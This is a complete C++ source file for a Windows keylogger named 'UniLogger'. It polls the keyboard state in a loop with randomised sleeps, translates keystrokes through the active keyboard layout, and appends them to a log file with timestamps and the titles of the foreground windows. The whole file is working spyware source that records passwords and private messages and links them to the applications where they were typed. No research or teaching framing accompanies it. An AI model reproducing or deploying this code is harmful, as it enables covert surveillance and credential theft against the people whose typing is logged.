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Source.cpp
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Source.cpp
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#include <Windows.h>
#include <stdio.h>
TCHAR window_text[1024] = {0};
TCHAR old_window_text[1024] = {0};
HWND hWindowHandle;
TCHAR wszAppName[1024] = {0};
DWORD dwBytesWritten = 0;
unsigned char header[2] = { 0xFF, 0xFE }; //unicode text file header
HANDLE hFile = INVALID_HANDLE_VALUE;
wchar_t log_file[MAX_PATH] = {0};
SYSTEMTIME LocalTime = {0};
TCHAR *save_log(void) {
OPENFILENAME ofn = {0};
TCHAR filename[512] = {0};
GetLocalTime(&LocalTime);
_snwprintf((wchar_t*)filename, 511, L"%04d%02d%02d-%02d%02d%02d.log", LocalTime.wYear, LocalTime.wMonth, LocalTime.wDay, LocalTime.wHour, LocalTime.wMinute, LocalTime.wSecond);
ofn.lStructSize = sizeof(ofn);
ofn.lpstrFilter = L"Log Files (*.txt,*.log)\0*.TXT;*.LOG\0All Files\0*.*\0";
ofn.lpstrFile = filename;
ofn.nMaxFile = sizeof(filename);
ofn.lpstrTitle = L"UniLogger - Select keylog Location";
ofn.Flags = OFN_NONETWORKBUTTON | OFN_OVERWRITEPROMPT | OFN_PATHMUSTEXIST | OFN_LONGNAMES | OFN_EXPLORER | OFN_HIDEREADONLY;
ofn.nFilterIndex = 1;
if(!GetSaveFileName(&ofn)) exit(1);
TCHAR *buff = (TCHAR*)malloc(512);
ZeroMemory(buff,512);
memcpy(buff,filename,wcslen(filename) * sizeof(TCHAR));
return(buff);
}
void WriteToFile(TCHAR *wText)
{
hFile = CreateFile(log_file, FILE_APPEND_DATA, FILE_SHARE_READ, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL,NULL);
WriteFile(hFile, wText, wcslen(wText) * sizeof(wchar_t), &dwBytesWritten, NULL);
CloseHandle(hFile);
}
void WritesScannedKeyToFile(short sScannedKey)
{
HKL hkl;
DWORD dwThreadId;
DWORD dwProcessId;
hWindowHandle = GetForegroundWindow();
dwThreadId = GetWindowThreadProcessId(hWindowHandle, &dwProcessId);
BYTE *kState = (BYTE*)malloc(256);
GetKeyboardState(kState);
hkl = GetKeyboardLayout(dwThreadId);
wchar_t besmallah[16] = {0};
UINT virtualKey = MapVirtualKeyEx((UINT)sScannedKey, MAPVK_VK_TO_CHAR, hkl);
ToUnicodeEx(virtualKey, sScannedKey, (BYTE*)kState, besmallah, 16, NULL, hkl);
WriteToFile(besmallah);
//CloseHandle(hkl);
free(kState);
}
DWORD WINAPI logger(void)
{
wcscpy_s(log_file, save_log());
hFile = CreateFile(log_file, FILE_APPEND_DATA, FILE_SHARE_READ, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL,NULL);
WriteFile(hFile, header, 2, &dwBytesWritten, NULL);
CloseHandle(hFile);
short sScannedKey;
while(1)
{
Sleep((rand() % 50) + 20);
for(sScannedKey=8;sScannedKey<=222;sScannedKey++)
{
if(GetAsyncKeyState(sScannedKey)==-32767)
{
//check window name, has it changed?
hWindowHandle = GetForegroundWindow();
if (hWindowHandle != NULL)
{
if (GetWindowText(hWindowHandle, window_text, 1024) != 0)
{
if (wcscmp(window_text, old_window_text) != 0)
{
hFile = CreateFile(log_file, FILE_APPEND_DATA, FILE_SHARE_READ, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL,NULL);
GetLocalTime(&LocalTime);
_snwprintf_s(wszAppName, 1023, L"\n\n{%04d/%02d/%02d %02d:%02d:%02d ", LocalTime.wYear, LocalTime.wMonth, LocalTime.wDay, LocalTime.wHour, LocalTime.wMinute, LocalTime.wSecond);
wcscat_s(wszAppName, window_text);
wcscat_s(wszAppName, L"}\n");
WriteFile(hFile, wszAppName, wcslen(wszAppName) * sizeof(wchar_t), &dwBytesWritten, NULL);
wcscpy_s(old_window_text, window_text);
CloseHandle(hFile);
}
}
}
// end of window name & title check.
if(true)
{
if((sScannedKey>=39)&&(sScannedKey<91))
{
WritesScannedKeyToFile(sScannedKey);
break;
}
else
{
switch(sScannedKey)
{
//http://msdn.microsoft.com/en-us/library/windows/desktop/dd375731(v=vs.85).aspx
case VK_SPACE:
WriteToFile(L" ");
break;
case VK_SHIFT:
WriteToFile(L"[SHIFT]");
break;
case VK_RETURN:
WriteToFile(L"\n[ENTER]");
break;
case VK_BACK:
WriteToFile(L"[BACKSPACE]");
break;
case VK_TAB:
WriteToFile(L"[TAB]");
break;
case VK_CONTROL:
WriteToFile(L"[CTRL]");
break;
case VK_DELETE:
WriteToFile(L"[DEL]");
break;/*
case VK_OEM_1:
WriteToFile(L"[;:]");
break;
case VK_OEM_2:
WriteToFile(L"[/?]");
break;
case VK_OEM_3:
WriteToFile(L"[`~]");
break;
case VK_OEM_4:
WriteToFile(L"[ [{ ]");
break;
case VK_OEM_5:
WriteToFile(L"[\\|]");
break;
case VK_OEM_6:
WriteToFile(L"[ ]} ]");
break;
case VK_OEM_7:
WriteToFile(L"['\"]");
break;*/
case VK_OEM_PLUS:
WriteToFile(L"+");
break;
case VK_OEM_COMMA:
WriteToFile(L",");
break;
case VK_OEM_MINUS:
WriteToFile(L"-");
break;
case VK_OEM_PERIOD:
WriteToFile(L".");
break;
case VK_NUMPAD0:
WriteToFile(L"0");
break;
case VK_NUMPAD1:
WriteToFile(L"1");
break;
case VK_NUMPAD2:
WriteToFile(L"2");
break;
case VK_NUMPAD3:
WriteToFile(L"3");
break;
case VK_NUMPAD4:
WriteToFile(L"4");
break;
case VK_NUMPAD5:
WriteToFile(L"5");
break;
case VK_NUMPAD6:
WriteToFile(L"6");
break;
case VK_NUMPAD7:
WriteToFile(L"7");
break;
case VK_NUMPAD8:
WriteToFile(L"8");
break;
case VK_NUMPAD9:
WriteToFile(L"9");
break;
case VK_CAPITAL:
WriteToFile(L"[CAPS LOCK]");
break;
case VK_PRIOR:
WriteToFile(L"[PAGE UP]");
break;
case VK_NEXT:
WriteToFile(L"[PAGE DOWN]");
break;
case VK_END:
WriteToFile(L"[END]");
break;
case VK_HOME:
WriteToFile(L"[HOME]");
break;
case VK_LWIN:
WriteToFile(L"[WIN]");
break;
case VK_RWIN:
WriteToFile(L"[WIN]");
break;
case VK_VOLUME_MUTE:
WriteToFile(L"[SOUND-MUTE]");
break;
case VK_VOLUME_DOWN:
WriteToFile(L"[SOUND-DOWN]");
break;
case VK_VOLUME_UP:
WriteToFile(L"[SOUND-DOWN]");
break;
case VK_MEDIA_PLAY_PAUSE:
WriteToFile(L"[MEDIA-PLAY/PAUSE]");
break;
case VK_MEDIA_STOP:
WriteToFile(L"[MEDIA-STOP]");
break;
case VK_MENU:
WriteToFile(L"[ALT]");
break;
default:
break;
}
}
}
}
}
}
return EXIT_SUCCESS;
}
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow)
{
srand(GetTickCount());
DWORD nThreadId = 0;
HANDLE hThreadHandle = CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)logger, NULL, NULL, &nThreadId);
WaitForSingleObject(hThreadHandle, INFINITE);
return 0;
}